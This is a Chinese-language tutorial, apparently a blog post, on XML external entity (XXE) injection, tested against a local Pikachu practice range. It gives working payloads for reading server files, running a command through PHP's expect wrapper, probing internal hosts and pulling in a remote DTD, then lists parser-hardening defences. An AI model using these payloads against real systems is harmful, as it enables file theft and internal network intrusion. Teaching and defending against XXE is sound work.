XXE漏洞概括

XXE漏洞全称(XML External Entity Injection),即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成:文件读取、命令执行、内网端口扫描、攻击内网网站,DOS攻击 等危害.(xxe漏洞触发的点往往是可以上传xml文件的位置的,没有对上传的xml文件进行过滤,导致可上传恶意xml文件.)

目录

XML代码的了解:

#DTD

1.内部的 DOCTYPE 声明

2.外部文档声明

#DTD 实体

1.内部实体声明

2.外部实体声明

3.参数实体声明

XXE漏洞的利用:

第一步:确定网站存在 XXE 漏洞.

第二步:使用 XXE 漏洞,读取服务器中的任意文件.

第三步:使用 XXE 漏洞,执行系统命令(该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令)

第四步:使用 XXE 漏洞,做内网探测(可以探测内网的 IP 和 端口 或 文件 是否存在)

第五步:使用 XXE 漏洞,引入外部实体 读取文件内容.(服务器文件 bgxg.dtd)

XXE漏洞防御:

1、使用开发语言提供的禁用外部实体的方法

​​​​​​​2、过滤用户提交的XML数据


靶场:

本地自己搭建的 Pikachu(皮卡丘)靶场:安装在win 2003(IP地址:192.168.0.102)

Pikachu(皮卡丘)靶场搭建链接:Web安全 Pikachu(皮卡丘)靶场搭建._半个西瓜.的博客-CSDN博客


XML代码的了解:

第一部分:XML声明部分

<?xml version="1.0"?>

第二部分:文档类型定义

<!DOCTYPE note   [ <!--定义此文档是 note 类型的文档--><!ELEMENT note (to,from,heading,body)>                   <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)>                                         <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>                                     <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>                                    <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>                                    <!--定义 body 元素为”#PCDATA”类型-->
第三部分:文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

#DTD

文档类型定义(DTD)可定义合法的 XML 文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用

1.内部的 DOCTYPE 声明

<!DOCTYPE 根元素 [元素声明]>

2.外部文档声明

<!DOCTYPE 根元素 SYSTEM ”文件名”>

#DTD 实体

1.内部实体声明

<!ENTITY 实体名称 ”实体的值”>

2.外部实体声明

<!ENTITY 实体名称 SYSTEM ”URI”>

3.参数实体声明

<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>

XXE漏洞的利用:

第一步:确定网站存在 XXE 漏洞.

(1)构造payload

<?xml version = "1.0"?>
<!DOCTYPE note [ <!ENTITY tian "bgxg.yu"> ]>
<bgxg>&tian;</bgxg>


第二步:使用 XXE 漏洞,读取服务器中的任意文件.

(1)构造payload

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY bgxg SYSTEM "file:///C://bgxg.txt"> ]>
<bgxg>&bgxg;</bgxg>


第三步:使用 XXE 漏洞,执行系统命令(该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令)

(1)构造payload

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" > ]>
<x>&xxe;</x>

第四步:使用 XXE 漏洞,做内网探测(可以探测内网的 IP 和 端口 或 文件 是否存在)

(1)构造 payload(服务器是有这个 IP 或 有这个 config.inc.php 文件的.)(说明:这个内网的IP和端口都是存在的.)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.1.103:801/pikachu/inc/config.inc.php" >
]>
<x>&rabbit;</x>


(2)构造 payload(当服务器是没有这个 bgxg.txt 文件时.)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.1.103:801/bgxg.txt" > ]>
<x>&rabbit;</x>


第五步:使用 XXE 漏洞,引入外部实体 读取文件内容.(服务器文件 bgxg.dtd)

(1)利用的前提:服务器有这个 bgxg.dtd 文件的内容:

<!ENTITY send SYSTEM "file:///c://hhh.txt">

(2)然后再去读取服务器中的 hhh.txt 的文件

<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://192.168.1.103:801/bgxg.dtd">
%file;
]>
<x>&send;</x>


XXE漏洞防御:

1、使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、过滤用户提交的XML数据

过滤关键词:<!DOCTYPE,,<!ENTITY,SYSTEM,PUBLIC.


参考链接:XXE漏洞 - 简书

参考链接:CTF XXE - MustaphaMond - 博客园

参考链接:2021小迪渗透测试/网络安全工程师全套(从入门到就业)_哔哩哔哩_bilibili

Web安全 XXE漏洞的 测试和利用.(读取服务器的任何文件 和 收集服务器的内网信息.)相关推荐

  1. XXE漏洞详解与利用

    XXE:XML 外部实体注入 XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件.执行系统命令.内网探测与攻击等危害的一 ...

  2. 《内网安全攻防:渗透测试实战指南》读书笔记(二):内网信息收集

    目录 前言 一.收集本机信息 1.手动搜集 (1)查询网络配置 (2)查询操作系统及软件的信息 (3)查询本机服务信息 (4)查询进程列表 (5)查看启动程序信息 (6)查看计划任务 (7)查看主机开 ...

  3. 内网渗透测试:内网信息收集与上传下载

    在之前的几节中,我们讲了隐藏通讯隧道技术的运用,那其实都是渗透测试的后话,接下来要讲的信息收集才是内网渗透的基础. 可以说内网渗透测试,其本质就是信息收集.信息收集的深度,直接关系到内网渗透测试的成败 ...

  4. Web安全 RCE漏洞(命令执行漏洞的 测试和利用).

    系统命令执行的概括 系统命令执行一般是 在Web应用中,可能有时候需要调用一些系统命令来执行,而程序在开发的时候没有对输入进行严格的过滤,导致恶意用户可以构造一些恶意的系统命令,从而达成系统命令执行攻 ...

  5. Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)

    文件上传漏洞的概括 现在大多的网站和Web应用系统都会有上传功能(比如:文档,图片,头像,视频上传等.),而程序员在开发文件上传功能时,没有对代码做严格校验上传文件的后缀和文件类型. 此时攻击者就可以 ...

  6. xxe漏洞的学习与利用总结

    前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...

  7. 网络安全--XXE漏洞利用思路

    一.XXE 是什么 介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞 如图所示: 既然能插入 XML 代码,那我们肯定不能善罢甘休,我们需要更多, ...

  8. Web渗透测试---Web TOP 10 漏洞

    文章目录 前言 一.注入漏洞 二.跨站脚本(xss)漏洞 三.文件上传漏洞 四.文件包含漏洞 五.命令执行漏洞 六.代码执行漏洞 七.XML外部实体(XXE)漏洞 八.反序列化漏洞 九. SSRF漏洞 ...

  9. XXE漏洞的详解与利用

    XXE漏洞详解 漏洞介绍: 如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞.另外php版本大于5.4.45的默认不解析外部实体 ...

最新文章

  1. 【iOS开发必收藏】详解iOS应用程序内使用IAP/StoreKit付费、沙盒(SandBox)测试、创建测试账号流程!...
  2. 【百战GAN】羡慕别人的美妆?那就用GAN复制粘贴过来
  3. .net反编译软件简绍
  4. 汇编语言——十种寻址方式
  5. VTK:图片之CenterAnImage
  6. idea构建springboot项目右边没有maven_写给新手看的 Spring Boot 入门学习指南
  7. 检查可执行文件所需要的共享库
  8. Portal-Basic Java Web 应用开发框架:应用篇(十四) —— 异步 Action
  9. sourcetree不好做到的一些git操作
  10. c++枚举和c语言枚举_C语言枚举初学者指南
  11. python开发环境有哪些_python开发环境哪个好用?如何搭建?
  12. 2017-01-27-一句话木马原理详解
  13. Qt中其他类调用窗口中的ui控件
  14. exchange虚拟服务器,exchange服务器之为Exchange服务重建IIS虚拟目录
  15. ICPC-Tic Tac Toe
  16. 【AirSim】Windows下搭建AirSim
  17. python正则表达式提取文本中的电话号码和邮箱
  18. 你觉得什么叫做幸福?
  19. keras实现seq2seq做Chatbot
  20. 邮政社招笔试题库_中国邮政招聘考试试题及答案--总括版

热门文章

  1. 数据预处理--上采样(过采样)与下采样(降采样)
  2. 背景图片的精灵图的使用
  3. 分享model.predict(test)与model.predict_classes(test)的用法
  4. 《完全用Linux工作》作者:王垠
  5. 学网络安全到什么程度才能找到工作?
  6. 理论篇如何学习硬件设计
  7. Encountered end of file
  8. .net实现微信公众账号接口开发
  9. 关于安卓的通知栏 NotificationCompat
  10. pandas duplicated() 重复行标记与drop_duplicates()删除